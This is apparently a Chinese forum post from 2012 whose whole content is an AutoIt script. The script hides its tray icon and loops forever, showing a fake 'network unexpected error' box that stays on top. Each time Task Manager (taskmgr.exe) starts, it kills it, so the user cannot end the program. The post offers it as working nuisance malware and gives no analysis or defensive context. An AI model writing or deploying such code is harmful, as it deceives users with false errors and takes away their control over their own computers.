|
本帖最后由 流沙枫 于 2012-2-22 11:46 编辑
#NoTrayIcon
Opt("TrayIconHide", 1)
check()
MsgBox(16, "错误", "网络出现意外错误!")
WinActivate("错误", "网络出现意外错误!")
WinSetOnTop ("错误", "网络出现意外错误!",1)
While 1
check()
MsgBox(16, "错误", "网络出现意外错误!")
WinActivate("错误", "网络出现意外错误!")
WinSetOnTop ("错误", "网络出现意外错误!",1)
WEnd
func check()
if ProcessExists ( "taskmgr.exe" ) then
ProcessClose ( "taskmgr.exe")
WinActivate("错误", "网络出现意外错误!")
WinSetOnTop ("错误", "网络出现意外错误!",1)
endif
WinActivate("错误", "网络出现意外错误!")
WinSetOnTop ("错误", "网络出现意外错误!",1)
endfunc |
|